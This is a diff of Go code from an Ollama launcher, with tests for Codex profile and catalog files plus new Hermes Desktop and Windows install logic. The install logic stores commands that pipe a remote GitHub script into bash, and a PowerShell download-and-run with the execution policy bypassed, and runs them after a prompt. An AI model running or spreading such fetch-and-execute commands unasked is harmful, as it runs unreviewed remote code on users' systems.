t.Run("replaces profile while preserving following sections", func(t *testing.T) {
|
||||
t.Run("overwrites owned profile and backs up previous profile", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n[another_section]\nfoo = \"bar\"\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath, catalogPath); err != nil {
|
||||
setTestHome(t, tmpDir)
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := "# original-codex-profile-backup-marker\nmodel = \"old\"\nmodel_provider = \"old-provider\"\n"
|
||||
if err := os.WriteFile(profilePath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, "old:1234") {
|
||||
t.Error("old URL was not replaced")
|
||||
}
|
||||
if !strings.Contains(content, "[another_section]") {
|
||||
t.Error("following section was removed")
|
||||
}
|
||||
if !strings.Contains(content, "foo = \"bar\"") {
|
||||
t.Error("following section content was removed")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("appends newline to file not ending with newline", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
existing := "[other]\nkey = \"val\""
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath, catalogPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
data, _ := os.ReadFile(profilePath)
|
||||
content := string(data)
|
||||
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
}
|
||||
// Should not have double blank lines from missing trailing newline
|
||||
if strings.Contains(content, "\n\n\n") {
|
||||
t.Error("unexpected triple newline in output")
|
||||
if strings.Contains(content, "old-provider") {
|
||||
t.Fatalf("profile should be replaced, got:\n%s", content)
|
||||
}
|
||||
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "ollama-launch.config.toml.*"), "original-codex-profile-backup-marker")
|
||||
})
|
||||
|
||||
t.Run("uses custom OLLAMA_HOST", func(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", "http://myhost:9999")
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
|
||||
|
||||
if err := writeCodexProfile(configPath, catalogPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
data, _ := os.ReadFile(profilePath)
|
||||
content := string(data)
|
||||
|
||||
if !strings.Contains(content, "myhost:9999/v1/") {
|
||||
@@ -346,13 +185,13 @@ func TestWriteCodexProfile(t *testing.T) {
|
||||
t.Run("uses connectable host for unspecified bind address", func(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
data, _ := os.ReadFile(profilePath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, "0.0.0.0") {
|
||||
@@ -365,7 +204,7 @@ func TestWriteCodexProfile(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestEnsureCodexConfig(t *testing.T) {
|
||||
t.Run("creates .codex dir and config.toml", func(t *testing.T) {
|
||||
t.Run("creates .codex dir, profile config, and model catalog", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
@@ -374,20 +213,33 @@ func TestEnsureCodexConfig(t *testing.T) {
|
||||
}
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
data, err := os.ReadFile(configPath)
|
||||
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
|
||||
}
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("config.toml not created: %v", err)
|
||||
t.Fatalf("profile config not created: %v", err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
if strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if !strings.Contains(content, "openai_base_url") {
|
||||
t.Error("missing openai_base_url key")
|
||||
if got := codexRootStringValue(content, "model"); got != "llama3.2" {
|
||||
t.Fatalf("profile model = %q, want llama3.2 in:\n%s", got, content)
|
||||
}
|
||||
if got := codexRootStringValue(content, "model_provider"); got != codexProfileName {
|
||||
t.Fatalf("profile model_provider = %q, want %q in:\n%s", got, codexProfileName, content)
|
||||
}
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
if got := codexRootStringValue(content, "model_catalog_json"); got != catalogPath {
|
||||
t.Fatalf("profile model_catalog_json = %q, want %q in:\n%s", got, catalogPath, content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProviderHeader(), "base_url"); !strings.Contains(got, "/v1/") {
|
||||
t.Fatalf("provider base_url = %q, want /v1/ URL", got)
|
||||
}
|
||||
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
data, err = os.ReadFile(catalogPath)
|
||||
if err != nil {
|
||||
t.Fatalf("model.json not created: %v", err)
|
||||
@@ -397,6 +249,40 @@ func TestEnsureCodexConfig(t *testing.T) {
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("writes requested local alias as catalog slug", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
models := []LaunchModel{
|
||||
{Name: "gemma4:latest", ContextLength: 65_536, Details: api.ModelDetails{Format: "gguf"}},
|
||||
}
|
||||
if err := ensureCodexConfig("gemma4", models); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
data, err := os.ReadFile(catalogPath)
|
||||
if err != nil {
|
||||
t.Fatalf("model.json not created: %v", err)
|
||||
}
|
||||
|
||||
var catalog struct {
|
||||
Models []map[string]any `json:"models"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &catalog); err != nil {
|
||||
t.Fatalf("model catalog should be valid JSON: %v", err)
|
||||
}
|
||||
if len(catalog.Models) != 1 {
|
||||
t.Fatalf("catalog model count = %d, want 1", len(catalog.Models))
|
||||
}
|
||||
if got := catalog.Models[0]["slug"]; got != "gemma4" {
|
||||
t.Fatalf("catalog slug = %v, want gemma4", got)
|
||||
}
|
||||
if got := catalog.Models[0]["context_window"]; got != float64(65_536) {
|
||||
t.Fatalf("context_window = %v, want 65536", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("is idempotent", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -409,16 +295,258 @@ func TestEnsureCodexConfig(t *testing.T) {
|
||||
}
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
data, _ := os.ReadFile(configPath)
|
||||
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
|
||||
}
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
|
||||
if strings.Count(content, "[profiles.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [profiles.ollama-launch] section after two calls, got %d", strings.Count(content, "[profiles.ollama-launch]"))
|
||||
if strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [model_providers.ollama-launch] section after two calls, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cleans legacy root profile that conflicts with --profile", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := "" +
|
||||
`profile = "ollama-launch"` + "\n" +
|
||||
`model = "gpt-5.5"` + "\n" +
|
||||
`model_provider = "openai"` + "\n\n" +
|
||||
"[profiles.ollama-launch]\n" +
|
||||
`model = "old-local"` + "\n" +
|
||||
`model_provider = "ollama-launch"` + "\n\n" +
|
||||
"[profiles.default]\n" +
|
||||
`model = "gpt-5.5"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
if got, ok := codexRootStringValueOK(content, codexRootProfileKey); ok {
|
||||
t.Fatalf("legacy root profile should be removed, got %q in:\n%s", got, content)
|
||||
}
|
||||
if strings.Contains(content, codexProfileHeader()) {
|
||||
t.Fatalf("legacy profile table should be removed, got:\n%s", content)
|
||||
}
|
||||
for _, want := range []string{
|
||||
`model = "gpt-5.5"`,
|
||||
`model_provider = "openai"`,
|
||||
"[profiles.default]",
|
||||
} {
|
||||
if !strings.Contains(content, want) {
|
||||
t.Fatalf("expected %q to be preserved in:\n%s", want, content)
|
||||
}
|
||||
}
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
profileData, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(profileData), `model = "llama3.2"`) {
|
||||
t.Fatalf("managed profile was not written with selected model:\n%s", profileData)
|
||||
}
|
||||
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "config.toml.*"), `profile = "ollama-launch"`)
|
||||
})
|
||||
}
|
||||
|
||||
func TestCodexRestoreRemovesCLIProfileAndCatalogWithoutChangingUserRootConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
userConfig := "" +
|
||||
`model = "gpt-5.5"` + "\n" +
|
||||
`model_provider = "openai"` + "\n\n" +
|
||||
"[model_providers.openai]\n" +
|
||||
`name = "OpenAI"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(userConfig), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&Codex{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI profile should be removed, got err=%v", err)
|
||||
}
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
if _, err := os.Stat(catalogPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI catalog should be removed, got err=%v", err)
|
||||
}
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(data) != userConfig {
|
||||
t.Fatalf("user root config should be unchanged, got:\n%s", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexRestoreDoesNotRewriteRootConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
legacyConfig := "" +
|
||||
`profile = "ollama-launch"` + "\n" +
|
||||
`model = "llama3.2"` + "\n" +
|
||||
`model_provider = "ollama-launch"` + "\n" +
|
||||
fmt.Sprintf("model_catalog_json = %q\n\n", catalogPath) +
|
||||
"[model_providers.ollama-launch]\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n\n" +
|
||||
"[profiles.ollama-launch]\n" +
|
||||
`model = "llama3.2"` + "\n\n" +
|
||||
"[tools]\n" +
|
||||
`web_search = true` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(legacyConfig), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(catalogPath, []byte(`{"models":[]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&Codex{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(data) != legacyConfig {
|
||||
t.Fatalf("root config should be left untouched, got:\n%s", data)
|
||||
}
|
||||
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI profile should be removed, got err=%v", err)
|
||||
}
|
||||
if _, err := os.Stat(catalogPath); err != nil {
|
||||
t.Fatalf("CLI catalog should be left while root config references it: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexRestoreDoesNotTouchCodexAppConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
cliCatalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
appCatalogPath := filepath.Join(tmpDir, ".codex", codexAppModelCatalogFilename)
|
||||
cliProfilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
appProfilePath := filepath.Join(tmpDir, ".codex", codexAppProfileName+".config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
appManagedConfig := "" +
|
||||
`model = "llama3.2"` + "\n" +
|
||||
fmt.Sprintf("model_provider = %q\n", codexAppProfileName) +
|
||||
fmt.Sprintf("model_catalog_json = %q\n\n", appCatalogPath) +
|
||||
codexProviderHeaderFor(codexAppProfileName) + "\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n\n" +
|
||||
codexProviderHeader() + "\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(appManagedConfig), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
restoreState := fmt.Sprintf(`{"had_profile":false,"had_model":true,"model":"qwen3:8b","had_model_provider":true,"model_provider":%q,"had_model_catalog_json":true,"model_catalog_json":%q}`, codexProfileName, cliCatalogPath)
|
||||
if err := os.MkdirAll(filepath.Dir(codexAppRestoreStatePath()), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(codexAppRestoreStatePath(), []byte(restoreState), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, path := range []string{cliCatalogPath, appCatalogPath, cliProfilePath, appProfilePath} {
|
||||
if err := os.WriteFile(path, []byte(`{"models":[]}`), 0o644); err != nil {
|
||||
t.Fatalf("write %s: %v", path, err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := (&Codex{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(data) != appManagedConfig {
|
||||
t.Fatalf("Codex App root config should be left untouched, got:\n%s", data)
|
||||
}
|
||||
if _, err := os.Stat(cliProfilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI profile should be removed, got err=%v", err)
|
||||
}
|
||||
if _, err := os.Stat(cliCatalogPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI catalog should be removed when root config does not reference it, got err=%v", err)
|
||||
}
|
||||
for _, path := range []string{appCatalogPath, appProfilePath, codexAppRestoreStatePath()} {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("%s should be left untouched, got err=%v", path, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegrationCodexRestoreDoesNotRequireInstalledCLI(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "codex", Restore: true}); err != nil {
|
||||
t.Fatalf("LaunchIntegration returned error: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI restore should run without codex installed and remove profile, got err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func assertBackupContains(t *testing.T, pattern, marker string) {
|
||||
|
||||
+213
-20
@@ -24,6 +24,8 @@ import (
|
||||
|
||||
const (
|
||||
hermesInstallScript = "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash -s -- --skip-setup"
|
||||
hermesWindowsInstallURL = "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1"
|
||||
hermesWindowsInstallCmd = "& ([scriptblock]::Create((irm " + hermesWindowsInstallURL + "))) -SkipSetup"
|
||||
hermesProviderName = "Ollama"
|
||||
hermesProviderKey = "ollama-launch"
|
||||
hermesLegacyKey = "ollama"
|
||||
@@ -81,6 +83,138 @@ func (h *Hermes) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
return hermesAttachedCommand(bin, args...).Run()
|
||||
}
|
||||
|
||||
type HermesDesktop struct {
|
||||
Hermes
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) String() string { return "Hermes Desktop" }
|
||||
|
||||
func (h *HermesDesktop) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
bin, err := h.binary()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return hermesAttachedCommand(bin, h.launchArgs(args)...).Run()
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded("hermes-desktop")
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) launchArgs(args []string) []string {
|
||||
launchArgs := []string{"desktop"}
|
||||
if h.shouldSkipDesktopBuild(args) {
|
||||
launchArgs = append(launchArgs, "--skip-build")
|
||||
}
|
||||
return append(launchArgs, args...)
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) shouldSkipDesktopBuild(args []string) bool {
|
||||
if hermesDesktopHasFlag(args, "--skip-build", "--source", "--build-only", "--help", "-h") {
|
||||
return false
|
||||
}
|
||||
return h.packagedAppExists()
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) packagedAppExists() bool {
|
||||
for _, root := range hermesDesktopReleaseRoots() {
|
||||
for _, candidate := range hermesDesktopPackagedExecutableCandidates(root) {
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// These roots mirror Hermes' own install layout:
|
||||
// scripts/install.sh uses ~/.hermes/hermes-agent for user installs and
|
||||
// /usr/local/lib/hermes-agent for new Linux root installs; scripts/install.ps1
|
||||
// and the bootstrap installer use %LOCALAPPDATA%\hermes\hermes-agent on
|
||||
// Windows. HERMES_HOME and HERMES_INSTALL_DIR are installer-supported
|
||||
// overrides.
|
||||
func hermesDesktopReleaseRoots() []string {
|
||||
var installRoots []string
|
||||
add := func(path string) {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return
|
||||
}
|
||||
installRoots = append(installRoots, filepath.Clean(path))
|
||||
}
|
||||
|
||||
if installDir := strings.TrimSpace(os.Getenv("HERMES_INSTALL_DIR")); installDir != "" {
|
||||
add(installDir)
|
||||
}
|
||||
if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
|
||||
add(filepath.Join(hermesHome, "hermes-agent"))
|
||||
}
|
||||
|
||||
home, err := hermesUserHome()
|
||||
if err == nil {
|
||||
switch hermesGOOS {
|
||||
case "windows":
|
||||
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
|
||||
add(filepath.Join(localAppData, "hermes", "hermes-agent"))
|
||||
}
|
||||
add(filepath.Join(home, ".hermes", "hermes-agent"))
|
||||
default:
|
||||
add(filepath.Join(home, ".hermes", "hermes-agent"))
|
||||
if hermesGOOS == "linux" {
|
||||
add(filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
seen := make(map[string]bool, len(installRoots))
|
||||
releaseRoots := make([]string, 0, len(installRoots))
|
||||
for _, root := range installRoots {
|
||||
releaseRoot := filepath.Join(root, "apps", "desktop", "release")
|
||||
if seen[releaseRoot] {
|
||||
continue
|
||||
}
|
||||
seen[releaseRoot] = true
|
||||
releaseRoots = append(releaseRoots, releaseRoot)
|
||||
}
|
||||
return releaseRoots
|
||||
}
|
||||
|
||||
func hermesDesktopPackagedExecutableCandidates(releaseRoot string) []string {
|
||||
switch hermesGOOS {
|
||||
case "darwin":
|
||||
matches, err := filepath.Glob(filepath.Join(releaseRoot, "mac*", "Hermes.app", "Contents", "MacOS", "Hermes"))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return matches
|
||||
case "windows":
|
||||
return []string{
|
||||
filepath.Join(releaseRoot, "win-unpacked", "Hermes.exe"),
|
||||
filepath.Join(releaseRoot, "win-ia32-unpacked", "Hermes.exe"),
|
||||
filepath.Join(releaseRoot, "win-arm64-unpacked", "Hermes.exe"),
|
||||
}
|
||||
default:
|
||||
return []string{
|
||||
filepath.Join(releaseRoot, "linux-unpacked", "hermes"),
|
||||
filepath.Join(releaseRoot, "linux-unpacked", "Hermes"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func hermesDesktopHasFlag(args []string, names ...string) bool {
|
||||
for _, arg := range args {
|
||||
if arg == "--" {
|
||||
return false
|
||||
}
|
||||
for _, name := range names {
|
||||
if arg == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (h *Hermes) Paths() []string {
|
||||
configPath, err := hermesConfigPath()
|
||||
if err != nil {
|
||||
@@ -183,22 +317,24 @@ func (h *Hermes) installed() bool {
|
||||
}
|
||||
|
||||
func (h *Hermes) ensureInstalled() error {
|
||||
return h.ensureInstalledFor("hermes")
|
||||
}
|
||||
|
||||
func (h *Hermes) ensureInstalledFor(command string) error {
|
||||
if h.installed() {
|
||||
return nil
|
||||
}
|
||||
|
||||
if hermesGOOS == "windows" {
|
||||
return hermesWindowsHint()
|
||||
}
|
||||
|
||||
var missing []string
|
||||
for _, dep := range []string{"bash", "curl", "git"} {
|
||||
if _, err := hermesLookPath(dep); err != nil {
|
||||
missing = append(missing, dep)
|
||||
if hermesGOOS != "windows" {
|
||||
for _, dep := range []string{"bash", "curl", "git"} {
|
||||
if _, err := hermesLookPath(dep); err != nil {
|
||||
missing = append(missing, dep)
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch hermes", strings.Join(missing, "\n "))
|
||||
return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch %s", strings.Join(missing, "\n "), command)
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Hermes is not installed. Install now?")
|
||||
@@ -210,7 +346,7 @@ func (h *Hermes) ensureInstalled() error {
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Hermes...\n")
|
||||
if err := hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run(); err != nil {
|
||||
if err := h.runInstallScript(); err != nil {
|
||||
return fmt.Errorf("failed to install hermes: %w", err)
|
||||
}
|
||||
|
||||
@@ -222,6 +358,13 @@ func (h *Hermes) ensureInstalled() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Hermes) runInstallScript() error {
|
||||
if hermesGOOS == "windows" {
|
||||
return hermesAttachedCommand("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallCmd).Run()
|
||||
}
|
||||
return hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run()
|
||||
}
|
||||
|
||||
func (h *Hermes) listModels(defaultModel string) []string {
|
||||
client := hermesOllamaClient()
|
||||
resp, err := client.List(context.Background())
|
||||
@@ -259,7 +402,12 @@ func (h *Hermes) binary() (string, error) {
|
||||
}
|
||||
|
||||
if hermesGOOS == "windows" {
|
||||
return "", hermesWindowsHint()
|
||||
for _, fallback := range hermesWindowsBinaryFallbacks() {
|
||||
if _, err := os.Stat(fallback); err == nil {
|
||||
return fallback, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("hermes is not installed")
|
||||
}
|
||||
|
||||
home, err := hermesUserHome()
|
||||
@@ -274,12 +422,63 @@ func (h *Hermes) binary() (string, error) {
|
||||
return "", fmt.Errorf("hermes is not installed")
|
||||
}
|
||||
|
||||
func hermesConfigPath() (string, error) {
|
||||
func hermesWindowsBinaryFallbacks() []string {
|
||||
var roots []string
|
||||
add := func(root string) {
|
||||
root = strings.TrimSpace(root)
|
||||
if root != "" {
|
||||
roots = append(roots, filepath.Clean(root))
|
||||
}
|
||||
}
|
||||
|
||||
add(os.Getenv("HERMES_HOME"))
|
||||
add(os.Getenv("LOCALAPPDATA"))
|
||||
if home, err := hermesUserHome(); err == nil {
|
||||
add(filepath.Join(home, "AppData", "Local"))
|
||||
}
|
||||
|
||||
seen := make(map[string]bool, len(roots))
|
||||
var fallbacks []string
|
||||
for _, root := range roots {
|
||||
if seen[root] {
|
||||
continue
|
||||
}
|
||||
seen[root] = true
|
||||
fallbacks = append(fallbacks, filepath.Join(root, "hermes-agent", "venv", "Scripts", "hermes.exe"))
|
||||
if filepath.Base(root) != "hermes" {
|
||||
fallbacks = append(fallbacks, filepath.Join(root, "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"))
|
||||
}
|
||||
}
|
||||
return fallbacks
|
||||
}
|
||||
|
||||
func hermesHomePath() (string, error) {
|
||||
if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
|
||||
return filepath.Clean(hermesHome), nil
|
||||
}
|
||||
if hermesGOOS == "windows" {
|
||||
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
|
||||
return filepath.Join(localAppData, "hermes"), nil
|
||||
}
|
||||
home, err := hermesUserHome()
|
||||
if err != nil {
|
||||
return "", err
|
||||
